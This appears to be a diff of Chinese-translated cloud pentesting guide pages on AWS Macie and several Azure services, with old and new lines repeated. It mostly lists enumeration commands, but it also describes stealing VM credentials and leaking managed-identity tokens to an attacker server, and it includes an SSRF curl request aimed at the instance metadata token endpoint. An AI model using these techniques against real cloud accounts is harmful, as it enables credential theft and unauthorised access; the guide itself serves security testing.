- S3 对象按时间范围、ACL、PII
- 高风险 CloudTrail 事件/用户
- 活动位置
- CloudTrail 用户身份类型等。
### 用户分类
用户根据其 API 调用的风险级别被分类为不同层级:
- **铂金**:高风险 API 调用,通常具有管理员权限。
- **黄金**:与基础设施相关的 API 调用。
- **白银**:中风险 API 调用。
- **青铜**:低风险 API 调用。
### 身份类型
身份类型包括 Root、IAM 用户、假定角色、联合用户、AWS 账户和 AWS 服务,指示请求的来源。
### 数据分类
数据分类包括:
- 内容类型:基于检测到的内容类型。
- 文件扩展名:基于文件扩展名。
- 主题:根据文件中的关键词分类。
- 正则表达式:基于特定正则表达式模式分类。
这些类别中最高的风险决定文件的最终风险级别。
### 研究与分析
Amazon Macie 的研究功能允许对所有 Macie 数据进行自定义查询,以进行深入分析。过滤器包括 CloudTrail 数据、S3 桶属性和 S3 对象。此外,它支持邀请其他账户共享 Amazon Macie促进协作数据管理和安全监控。
## 使用 AWS 控制台列出发现
在扫描特定 S3 存储桶以查找秘密和敏感数据后,将生成并在控制台中显示发现。具有足够权限的授权用户可以查看和列出每个作业的这些发现。
在扫描特定 S3 桶以查找秘密和敏感数据后,发现将生成并显示在控制台中。具有足够权限的授权用户可以查看和列出每个作业的这些发现。
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
## 示秘密
## 示秘密
Amazon Macie 提供了一项功能,可以以明文格式显示检测到的秘密。此功能有助于识别被泄露的数据。然而,由于安全问题,通常不建议以明文显示秘密,因为这可能会暴露敏感信息。
Amazon Macie 提供一个功能,可以以明文格式显示检测到的秘密。此功能有助于识别被泄露的数据。然而,由于安全问题,通常不建议以明文显示秘密,因为这可能会暴露敏感信息。
<img width="596" alt="Screenshot 2025-02-10 at 19 13 53" src="https://github.com/user-attachments/assets/31c40c29-0bba-429b-8b86-4e214d1aef66" />
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
## 枚举
### 枚举
```bash
# List and describe classification jobs
aws macie2 list-classification-jobs --region eu-west-1
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
# Get buckets
aws macie2 describe-buckets
# Org config
aws macie2 describe-organization-configuration
# Get admin account (if any)
aws macie2 get-administrator-account
aws macie2 list-organization-admin-accounts # Run from the management account of the org
# Get macie account members (run this from the admin account)
aws macie2 list-members
# Check if automated sensitive data discovey is enabled
aws macie2 get-automated-discovery-configuration
# Get findings
aws macie2 list-findings
aws macie2 get-findings --finding-ids <ids>
aws macie2 list-findings-filters
aws macie2 get -findings-filters --id <id>
# Get allow lists
aws macie2 list-allow-lists
aws macie2 get-allow-list --id <id>
# Get different info
aws macie2 list-classification-jobs
aws macie2 describe-classification-job --job-id <Job_ID>
aws macie2 list-classification-scopes
aws macie2 list-custom-data-identifiers
aws macie2 get-custom-data-identifier --id <Identifier_ID>
# Retrieve account details and statistics
aws macie2 get-macie-session --region eu-west-1
aws macie2 get-usage-statistics --region eu-west-1
# List and manage Macie members (for organizations)
aws macie2 list-members --region eu-west-1
# List findings and get detailed information about specific findings
aws macie2 list-findings --region eu-west-1
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
# Manage custom data identifiers
aws macie2 list-custom-data-identifiers --region eu-west-1
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
# List and detail findings filters
aws macie2 list-findings-filters --region eu-west-1
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
aws macie2 get-macie-session
aws macie2 get-usage-statistic
```
### Privesc
{{#ref}}
../aws-privilege-escalation/aws-macie-privesc.md
{{#endref}}
### Post Exploitation
> [!TIP]
> 从攻击者的角度来看,这项服务并不是为了检测攻击者,而是为了检测存储文件中的敏感信息。因此,这项服务可能**帮助攻击者在存储桶中找到敏感信息**。\
> 然而,攻击者也可能对破坏它感兴趣,以防止受害者收到警报,从而更容易窃取该信息。
TODO: PRs are welcome!
## References
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -9,24 +9,25 @@
../az-services/az-postgresql.md
{{#endref}}
### 使用 pg_azure_storage 扩展访问存储帐户
可以使用扩展 **`pg_azure_storage` 从 PostgreSQL 服务器访问 Azure 存储帐户**。这将使用分配给服务器的托管身份的权限来访问存储帐户。
有关更多信息,请查看特权提升部分中解释的此技术:
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
拥有此权限,您可以在 Azure 的 Postgres Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能导致资源消耗或服务器的潜在滥用。
拥有此权限,您可以在 Azure 的 Postgres Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能导致资源消耗或服务器的潜在滥用。
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
通过此权限,您可以在 Azure 上为 Postgres Flexible Server 实例启动备份的创建。这允许用户生成按需备份,这对于在特定时间点保留数据非常有用。
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
通过此权限,您可以配置或更新 Azure 上 Postgres Flexible Server 实例的高级威胁防护 (ATP) 设置。这允许启用或禁用旨在检测和响应异常活动及潜在威胁的安全功能。

View File

@@ -14,9 +14,9 @@ Azure Automation Accounts 是 Microsoft Azure 中的云服务,帮助**自动
- **连接**:用于存储与外部服务的**连接信息**。这可能包含**敏感信息**。
- **网络访问**:可以设置为**公共**或**私有**。
### Runbooks 和作业
### Runbooks & Jobs
Azure Automation 中的 Runbook 是一个**自动执行任务的脚本**在您的云环境中运行。Runbooks 可以用 PowerShell、Python 或图形编辑器编写。它们帮助自动化管理任务,如 VM 管理、补丁或合规检查。
Azure Automation 中的 Runbook 是一个**自动执行任务的脚本**在您的云环境中运行。Runbooks 可以用 PowerShell、Python 或图形编辑器编写。它们帮助自动化管理任务,如 VM 管理、补丁或合规检查。
在**Runbooks**中的**代码**可能包含**敏感信息**(如凭据)。
@@ -28,25 +28,25 @@ Azure Automation 中的 Runbook 是一个**自动执行任务的脚本**,在
作业包含**Runbook**执行的**输出**。如果您可以**读取**这些**作业**,请这样做,因为它们**包含**运行的**输出**(潜在的**敏感信息**)。
### 计划和 Webhooks
### Schedules & Webhooks
执行 Runbook 有种主要方式:
执行 Runbook 有 3 种主要方式:
- **计划**:用于在**特定时间**或**间隔**触发 Runbooks。
- **Webhooks**:这些是可以用于从**外部服务**触发 Runbooks 的**HTTP 端点**。请注意,创建后 webhook URL 是**不可见**的。
- **手动触发**:您可以从 Azure 门户和 CLI 手动触发 Runbook。
### 源控制
### Source Control
它允许从**Github、Azure Devops (Git) 和 Azure Devops (TFVC)**导入 Runbooks。可以指示将 repo 的 Runbooks 发布到 Azure Automation 帐户,也可以指示**将更改从 repo 同步**到 Azure Automation 帐户。
当同步启用时,在**Github 仓库中创建一个 webhook**以在每次发生推送事件时触发同步。Webhook URL 的示例:`https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
当同步启用时,在**Github 仓库中创建一个 webhook**以在每次发生推送事件时触发同步。Webhook URL 的示例:`https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
请注意,这些 webhooks 在列出与 Github repo 关联的 runbooks 时**不可见**。还要注意,一旦创建,**无法更改源控制的 repo URL**。
请注意,这些 webhooks 在列出与 Github repo 关联的 runbooks 时**不可见**。还要注意,一旦创建,**无法更改源控制的 repo URL**。
为了使配置的源控制正常工作,**Azure Automation Account** 需要具有**`Contributor`** 角色的托管身份(系统或用户)。此外,要将用户托管身份分配给 Automation Account,需要在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指明用户 MI 的客户端 ID。
为了使配置的源控制正常工作,**Azure Automation Account** 需要具有**`Contributor`**角色的托管身份(系统或用户)。此外,要将用户托管身份分配给自动化帐户,需要在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指明用户 MI 的客户端 ID。
### 运行时环境
### Runtime Environments
创建 Runbook 时,可以选择运行时环境。默认情况下,以下运行时环境可用:
@@ -57,32 +57,32 @@ Azure Automation 中的 Runbook 是一个**自动执行任务的脚本**,在
- **Python 3.8**
- **Python 2.7**
但是,也可以**创建自己的环境**,以其中一个作为基础。在 Python 的情况下,可以将 `.whl` 包上传到将要使用的环境。在 PowerShell 的情况下,可以上传包含模块的 `.zip`以在运行时使用
但是,也可以**创建自己的环境**,以其中一个作为基础。在 Python 的情况下,可以将 `.whl` 包上传到将要使用的环境。在 PowerShell 的情况下,可以上传包含要在运行时使用的模块的 `.zip` 包。
### 混合工作组
### Hybrid Worker Groups
在 Azure Automation 中Runbooks 的默认执行环境是**Azure Sandbox**,这是一个由 Azure 管理的云平台,适合涉及 Azure 资源的任务。然而,这个沙箱有一些限制,例如对本地资源的访问受限以及执行时间和资源使用的限制。为了解决这些限制,采用了混合工作组。混合工作组由**一个或多个安装在您自己机器上的混合 Runbook Worker**组成,无论是在本地、其他云环境还是 Azure VM。这种设置允许 Runbooks 直接在这些机器上执行,提供对本地资源的直接访问,能够运行更长时间和更资源密集的任务,并灵活地与超出 Azure 直接范围的环境进行交互。
在 Azure Automation 中Runbooks 的默认执行环境是**Azure Sandbox**,这是一个由 Azure 管理的云平台,适合涉及 Azure 资源的任务。然而,这个沙箱有一些限制,例如对本地资源的访问受限以及执行时间和资源使用的限制。为了解决这些限制,采用了混合工作组。混合工作组由**一个或多个安装在您自己机器上的混合 Runbook Worker**组成,无论是在本地、其他云环境还是 Azure 虚拟机上。此设置允许 Runbooks 直接在这些机器上执行,提供对本地资源的直接访问,能够运行更长时间和更资源密集的任务,并灵活地与超出 Azure 直接范围的环境进行交互。
创建混合工作组时,需要指明要使用的**凭据**。有两种选择
创建混合工作组时,需要指明要使用的**凭据**。有 2 个选项
- **默认凭据**您无需提供凭据Runbooks 将作为**系统**在 VM 内执行。
- **特定凭据**:您需要提供自动化帐户内凭据对象的名称,该凭据将用于在 VM 内执行**Runbooks**。因此,在这种情况下,可能会**窃取有效凭据**用于 VM
- **默认凭据**您无需提供凭据Runbooks 将作为**系统**在虚拟机内执行。
- **特定凭据**:您需要提供自动化帐户内凭据对象的名称,该凭据将用于在虚拟机内执行**Runbooks**。因此,在这种情况下,可能会**窃取虚拟机的有效凭据**。
因此,如果您可以选择在**混合工作者**中运行**Runbook**,您将以**系统**身份在外部机器上执行**任意命令**(很好的转移技术)。
此外,如果混合工作者在 Azure 中运行并附加了其他托管身份Runbook 将能够访问**Runbook 的托管身份和 VM 的所有托管身份**,通过元数据服务。
此外,如果混合工作者在 Azure 中运行并附加了其他托管身份Runbook 将能够访问**Runbook 的托管身份和虚拟机的所有托管身份元数据服务**
> [!TIP]
> 请记住,**元数据服务**的 URL 与获取自动化帐户的托管身份令牌的服务(**`IDENTITY_ENDPOINT`**)不同(**`http://169.254.169.254`**)。
> 请记住,**元数据服务**的 URL 与获取自动化帐户的托管身份令牌的服务的 URL**`IDENTITY_ENDPOINT`**)不同(**`http://169.254.169.254`**)。
### 状态配置 (SC)
### State Configuration (SC)
> [!WARNING]
> 如[文档](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)所示Azure Automation 状态配置将在 2027 年 9 月 30 日退役,并由[Azure 机器配置](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)代。
> 如[文档](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)所示Azure Automation State Configuration 将于 2027 年 9 月 30 日退役,并由[Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)代。
Automation Accounts 还支持**状态配置 (SC)**,这是一个帮助**配置**和**维护**您的 VM 的**状态**的功能。可以**创建**和**应用** DSC 配置到**Windows**和**Linux**机器。
Automation Accounts 还支持**状态配置SC**,这是一个帮助**配置**和**维护**您的虚拟机**状态**的功能。可以**创建**和**应用** DSC 配置到**Windows**和**Linux**机器。
从攻击者的角度来看,这很有趣,因为它允许**在所有配置的 VM 中执行任意 PS 代码**,从而提升到这些 VM 的托管身份,可能转移到新的网络……此外,配置可能包含**敏感信息**。
从攻击者的角度来看,这很有趣,因为它允许**在所有配置的虚拟机中执行任意 PS 代码**,从而提升到这些虚拟机的托管身份,可能转移到新的网络……此外,配置可能包含**敏感信息**。
## 枚举
```bash
@@ -232,7 +232,13 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## 参考文献
## 持久性
{{#ref}}
../az-persistence/az-automation-accounts-persistence.md
{{#endref}}
## 参考
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)

View File

@@ -4,7 +4,7 @@
## 基本信息
Azure Container Registry (ACR) 是一个安全的私有注册表,允许您 **在 Azure 云中存储、管理和访问容器镜像**。它与多个 Azure 服务无缝集成,提供自动化的构建和部署工作流。通过地理复制和漏洞扫描等功能ACR 有助于确保容器化应用程序的企业级安全性和合规性。
Azure Container Registry (ACR) 是一个安全的私有注册表,允许您 **在 Azure 云中存储、管理和访问容器镜像**。它与多个 Azure 服务无缝集成,提供大规模的自动构建和部署工作流。通过地理复制和漏洞扫描等功能ACR 有助于确保容器化应用程序的企业级安全性和合规性。
### 权限
@@ -25,14 +25,14 @@ Azure Container Registry (ACR) 是一个安全的私有注册表,允许您 **
### 身份验证
> [!WARNING]
> 即使注册表名称包含大写字母,您也应该始终使用 **小写字母** 登录、推送和拉取镜像,这一点非常重要。
> 即使注册表名称包含一些大写字母,您也应该始终使用 **小写字母** 登录、推送和拉取镜像,这一点非常重要。
有 4 种方法可以对 ACR 进行身份验证:
- **使用 Entra ID**:这是对 ACR 进行身份验证的 **默认** 方法。它使用 **`az acr login`** 命令对 ACR 进行身份验证。此命令将 **存储凭据****`~/.docker/config.json`** 文件中。此外,如果您在没有访问 docker 套接字的环境中运行此命令,例如在 **云终端** 中,可以使用 **`--expose-token`** 标志获取 **令牌** 以对 ACR 进行身份验证。然后,您需要使用用户名 `00000000-0000-0000-0000-000000000000` 进行身份验证,例如:`docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **使用 Entra ID**:这是对 ACR 进行身份验证的 **默认** 方法。它使用 **`az acr login`** 命令对 ACR 进行身份验证。此命令将 **凭据存储****`~/.docker/config.json`** 文件中。此外,如果您在没有访问 docker 套接字的环境中运行此命令,例如在 **云终端** 中,可以使用 **`--expose-token`** 标志获取 **令牌** 以对 ACR 进行身份验证。然后,您需要使用用户名 `00000000-0000-0000-0000-000000000000` 进行身份验证,例如:`docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **使用管理员帐户**:管理员用户默认情况下是禁用的,但可以启用,然后可以使用管理员帐户的 **用户名****密码** 访问注册表,具有对注册表的完全权限。这仍然被支持,因为一些 Azure 服务使用它。请注意,为此用户创建了 **2 个密码**,并且两个都是有效的。您可以使用 `az acr update -n <acrName> --admin-enabled true` 启用它。请注意,用户名通常是注册表名称(而不是 `admin`)。
- **使用令牌**:可以创建一个具有 **特定 `scope map`**(权限)的 **令牌** 来访问注册表。然后,可以使用令牌名称作为用户名和生成的某些密码通过 `docker login -u <registry-name> -p <password> aregistry-url>` 对注册表进行身份验证。
- **使用服务主体**:可以创建一个 **服务主体** 并分配一个角色,**`AcrPull`** 以拉取镜像。然后,可以使用 SP appId 作为用户名和生成的密钥作为密码 **登录到注册表**
- **使用令牌**:可以创建一个具有 **特定 `scope map`**(权限)的 **令牌** 来访问注册表。然后,可以使用令牌名称作为用户名,使用生成的任何密码对注册表进行身份验证,命令为 `docker login -u <registry-name> -p <password> <registry-url>`
- **使用服务主体**:可以创建一个 **服务主体** 并分配一个角色,如 **`AcrPull`** 以拉取镜像。然后,可以使用 SP appId 作为用户名和生成的密钥作为密码 **登录到注册表**
来自 [文档](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) 的示例脚本,用于生成具有注册表访问权限的 SP
```bash
@@ -51,11 +51,11 @@ echo "Service principal password: $PASSWORD"
```
### 加密
只有 **Premium SKU** 支持 **静态加密** 用于图像和其他工件。
只有 **Premium SKU** 支持 **静态加密** 图像和其他工件。
### 网络
只有 **Premium SKU** 支持 **私有端点**。其他 SKU 仅支持 **公共访问**。公共端点的格式为 `<registry-name>.azurecr.io`,而私有端点的格式为 `<registry-name>.privatelink.azurecr.io`。因此,注册表的名称必须在所有 Azure 中是唯一的。
只有 **Premium SKU** 支持 **私有端点**。其他 SKU 仅支持 **公共访问**。公共端点的格式为 `<registry-name>.azurecr.io`,而私有端点的格式为 `<registry-name>.privatelink.azurecr.io`。因此,注册表的名称在所有 Azure 中必须是唯一的。
### Microsoft Defender for Cloud
@@ -73,7 +73,7 @@ echo "Service principal password: $PASSWORD"
### 连接的注册表
这基本上允许 **镜像图** 从一个注册表到另一个注册表,通常位于本地。
这基本上允许 **将图像镜像** 从一个注册表到另一个注册表,通常位于本地。
它有 2 种模式:**只读** 和 **读写**。在第一种模式中,图像仅从源注册表 **拉取**,而在第二种模式中,图像也可以 **推送** 到源注册表。
@@ -105,7 +105,7 @@ az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world
## 枚举
> [!WARNING]
> 即使注册表名称包含一些大写字母,您也应该仅在访问时使用小写字母的 URL
> 即使注册表名称包含一些大写字母,您也应该仅在访问它的 URL 中使用小写字母,这一点非常重要
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -143,13 +143,19 @@ az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## 未经身份验证的访问
{{#ref}}
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## 权限提升与后期利用
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## 参考文献
## 参考
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)

View File

@@ -4,101 +4,177 @@
## 基本信息
Azure Logic Apps 是微软 Azure 提供的基于云的服务,使开发人员能够 **创建和运行集成各种服务、数据源和应用程序的工作流**。这些工作流旨在 **自动化业务流程**、协调任务并在不同平台之间执行数据集成。
Azure Logic Apps 使开发人员能够 **创建和运行集成各种服务、数据源和应用程序的工作流**。这些工作流旨在 **自动化业务流程**、协调任务并在不同平台之间执行数据集成。
Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建连接器** 创建工作流,这使得连接和与各种服务(如 Office 365、Dynamics CRM、Salesforce 等)进行交互变得简单。您还可以根据特定需求创建自定义连接器。
Logic Apps 提供了一个 **可视化设计器**,可以使用 **广泛的预构建连接器** 创建工作流,这使得连接和与各种服务交互变得简单:
在创建 Logic App 时,您必须创建或链接一个外部存储帐户,以存储工作流状态、运行历史记录和工件。此存储可以配置诊断设置以进行监控,并可以通过网络访问限制进行安全保护,或集成到虚拟网络中以控制入站和出站流量。
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
### 示例
- **自动化数据管道**Logic Apps 可以与 Azure Data Factory 结合自动化 **数据传输和转换过程**。这对于创建可扩展和可靠的数据管道非常有用,这些管道在各种数据存储之间移动和转换数据,如 Azure SQL 数据库和 Azure Blob 存储,帮助进行分析和商业智能操作。
- **与 Azure Functions 集成**Logic Apps 可以与 Azure Functions 一起工作,以开发 **复杂的事件驱动应用程序,按需扩展**,并与其他 Azure 服务无缝集成。一个示例用例是使用 Logic App 在响应某些事件(如 Azure 存储帐户中的更改)时触发 Azure Function从而实现动态数据处理。
### 可视化 LogicAPP
可以通过图形查看 LogicApp
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
或在 "**Logic app code view**" 部分检查代码。
### SSRF 保护
即使您发现 **Logic App 对 SSRF 漏洞**,也无法从元数据中访问凭据,因为 Logic Apps 不允许这样做。
例如,像这样的请求不会返回令牌:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Hosting options
### 托管选项
有几种托管选项:
* **Consumption**
- **Multi-tenant**: 提供共享计算资源,运行在公共云中,并遵循按操作计费的定价模型。这非常适合轻量级和具有成本效益的工作负载。这会部署一个“单一工作流”。
* **Standard**
- **Workflow Service Plan**: 专用计算资源,具有 VNET 集成用于网络,并按工作流服务计划实例收费。适合需要更大控制的更高要求的工作负载。
- **App Service Environment V3** 专用计算资源,具有完全隔离和可扩展性。它还与 VNET 集成用于网络,并使用基于环境中 App Service 实例的定价模型。
- **Hybrid** 设计用于本地处理和多云支持。它允许客户管理的计算资源具有本地网络访问,并利用 Kubernetes 事件驱动的自动扩展KEDA。它依赖于容器应用连接环境。
* **消费**
- **多租户**:这提供共享计算资源,在公共云中运行,并遵循按操作计费的定价模型。这非常适合轻量级和具有成本效益的工作负载。这就是我们所称的“单一工作流”。
* **标准**
- **工作流服务计划**:这提供专用计算资源,具有 VNET 集成用于网络,并按工作流服务计划实例收费。适合需要更大控制的更高要求的工作负载。
- **应用服务环境 V3** 这提供专用计算资源,具有完全隔离和可扩展性。它还与 VNET 集成用于网络,并使用基于环境中应用服务实例的定价模型。
- **混合:** 这旨在支持本地处理和多云支持。它允许客户管理的计算资源具有本地网络访问,并利用 Kubernetes 事件驱动的自动扩展KEDA。它依赖于容器应用连接环境。
### Key Features
- **Storage**: Logic Apps 需要一个外部 Azure 存储帐户来存储工作流状态、运行历史记录……并且必须与 Logic App 在同一资源组中。
- **Networking & Security**: Logic Apps 可以配置为公共或私有访问。默认情况下,应用程序对互联网开放,但可以与 Azure 虚拟网络集成以实现隔离连接。
- **Application Insights**: 通过 Azure Monitor Application Insights 启用应用程序性能管理APM以跟踪性能、检测异常并提供分析。
- **Access Control**: Logic apps 支持系统托管身份和用户托管身份。
## “单一”工作流 / 消费计划
### "Single" Workflows
**工作流** 是一系列结构化的自动化步骤或任务,执行特定的过程或目标。它定义了不同的操作、条件和决策如何相互作用以实现期望的结果,从而简化操作并减少手动工作。
一个 **workflow** 是一系列结构化的自动化步骤或任务,执行特定的过程或目标。它定义了不同的操作、条件和决策如何相互作用以实现期望的结果,从而简化操作并减少手动工作。工作流可以集成多个系统、触发事件和规则,确保过程的一致性和效率。
> [!TIP]
> 消费计划允许 **创建单一工作流,而无需 Logic App** 本身。
Azure Logic apps 提供了 **创建单一工作流而无需 Logic App** 本身的功能。
### 触发器和操作
每个工作流都有不同的 **triggers**这些触发器是工作流遵循的步骤。每个触发器都有其参数,这些参数可能会根据触发器的类型而有所不同:
- 连接名称
- **Authentication Type** 可以是访问密钥、Microsoft Entra ID、集成服务主体身份验证和 Logic Apps 托管身份。
工作流触发器指示 **工作流何时应启动**。触发器可以是 HTTP 端点、计划或来自 Azure 甚至外部应用的数十种不同事件。
触发器还有各种设置
- Schema Validation: 确保传入数据遵循预定义结构。
- Concurrency Control: 限制并行运行的数量。
- Trigger Conditions: 触发器触发前必须满足的条件。
- Networking: 配置数据传输的块大小,并允许在响应中抑制工作流头。
- **Security**: 启用 **Secure Inputs/Outputs to hide** 日志和输出中的敏感数据。
每个工作流都有不同的 **操作**。这些操作是工作流遵循的步骤。根据操作的不同,将提供不同的参数进行配置,例如
**Settings & API Connections:**
- **连接名称**:操作将与之交互的连接。
- **身份验证类型:** 不同的选项包括访问密钥、Microsoft Entra ID、集成服务主体身份验证和 Logic Apps 管理身份。
- 从只读的角度来看,**身份验证** 数据总是很有趣,因为它可能包含敏感信息。
- 从写入的角度来看,**身份验证** 数据总是很有趣,因为它可能允许使用分配的托管身份的权限。
- ...
一个工作流有不同的设置,例如
- 允许的入站 IP 地址:此设置允许您限制谁可以触发或启动您的 Logic App。选项包括任何 IP、仅其他 Logic Apps 和特定 IP 范围。
- 集成帐户:在这里,您可以将 Logic App 链接到集成帐户。
- 高吞吐量:此设置使您的 Logic App 能够更快地处理更多请求。
- 运行历史保留:保留您 Logic App 执行历史的时间。
操作还具有各种 **设置**,这些设置取决于操作本身。一些最常见的设置包括
您可以查看工作流具有的不同 API 连接。在每个连接内部,它们具有不同的属性,并可以编辑 API 连接,其中身份验证类型可以更改
- **重试策略**:配置重试次数和重试之间的间隔
- **超时**:设置操作可以运行的最长时间,超时后将停止。
- **运行后**:指定在操作运行之前必须满足的条件。
- **模式验证**:确保传入数据遵循预定义结构。
- **网络**:配置如何管理不同的头信息。
- **安全输入/输出**:这将隐藏运行历史中的输入/输出数据。
- ...
**History & Versions:**
它有访问不同执行的 **history** 的选项,显示设置、输出、参数和代码。
### 授权策略
还可以访问工作流的不同 **versions**,您可以检查代码并用其旧版本更改当前工作流。
**Authorization:**
Azure Logic Apps 支持使用 Entra ID 的 **authorization policies**,通过要求有效的访问令牌来保护基于请求的触发器。此令牌必须包含特定声明:
- Issuer (iss) 用于验证身份提供者
- Audience (aud) 确保令牌是针对 Logic App 的
- Subject (sub) 用于识别调用者
- JWT ID (JSON Web Token identifier)
- Custom Claim
这些工作流支持 **授权策略**,使用 Entra ID 通过要求有效的访问令牌来保护基于请求的触发器。该令牌必须包含特定的声明:
- 发行者 (iss) 以验证身份提供者
- 受众 (aud) 以确保令牌是针对 Logic App 的
- 主体 (sub) 以识别调用者
- JWT ID (JSON Web Token 标识符)
- 自定义声明
当收到请求时Logic Apps 会根据这些声明验证令牌,并仅在匹配配置的策略时允许执行。这可以用于允许另一个租户触发工作流或拒绝来自其他来源的触发,例如仅允许来自 https://login.microsoftonline.com/ 的触发。
**Access Keys:**
当您第一次保存基于请求的触发器时Logic Apps 会自动创建一个具有 SAS 签名的唯一端点(由访问密钥创建),该签名授予调用工作流的权限。此 SAS 签名嵌入在触发器的 URL 中。此密钥可以重新生成,并将提供新的 SAS 签名,但密钥不能列出。
### 访问密钥
使用访问密钥调用的 URL
工作流 **在创建时生成 2 个访问密钥**。这些密钥用于对工作流的请求进行身份验证和授权。密钥用于生成共享访问签名 (SAS) 令牌,该令牌包含在请求 URL 中。
因此,当创建 HTTP 端点触发器时,将生成一个 **带有 SAS 签名的唯一 HTTP 端点**,该签名授予调用工作流的权限。
这些 **密钥可以被重新生成**,并将为这些触发器创建一个新的 SAS URL**密钥值无法访问**
调用触发器的 SAS URL 示例:
```
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
```
### 工作流设置与组件
### Enumeration
- **触发访问选项**:此设置允许您限制谁可以触发或启动您的工作流。选项包括任何 IP、仅其他工作流和特定 IP 范围。
- **集成帐户**:将您的工作流链接到集成帐户。
- **高吞吐量**:如果开启,它允许快速处理更多并行请求。
- **运行历史保留**:这表示保留运行历史的天数。
- **API 连接**:这显示工作流具有的不同 API 连接。在每个连接内部,它们具有不同的属性,并可以编辑 API 连接,其中身份验证类型可以更改。
- **历史**:它具有访问旧执行的 **历史** 选项,并获取数据:设置、输出、参数和代码。
- **版本**:它具有访问工作流不同 **版本** 的选项,您可以检查代码并用旧版本更改当前工作流。
- **托管身份**:可以将 1 个系统托管身份和服务器用户托管身份分配给工作流。
### 泄露 MI 访问令牌
工作流中的 HTTP 操作可用于将数据发送到外部网站。在 HTTP 操作的 **高级参数** 中,可以将 **身份验证类型** 配置为 **`Managed identity`**,然后选择要使用的 **分配的托管身份**(系统或用户)。
此外,可以在 **`Audience`** 中指明生成的 JWT 的受众,例如 **`https://management.azure.com/`**,以便能够使用生成的令牌访问 Azure 管理 API。
> [!WARNING]
> 使操作将 HTTP 请求发送到攻击者控制的服务器可能会 **泄露分配给工作流的托管身份的访问令牌**。
> [!TIP]
> 攻击者还可以使用其他类型的操作 **直接访问其他 Azure 服务** 并以托管身份的权限执行操作。
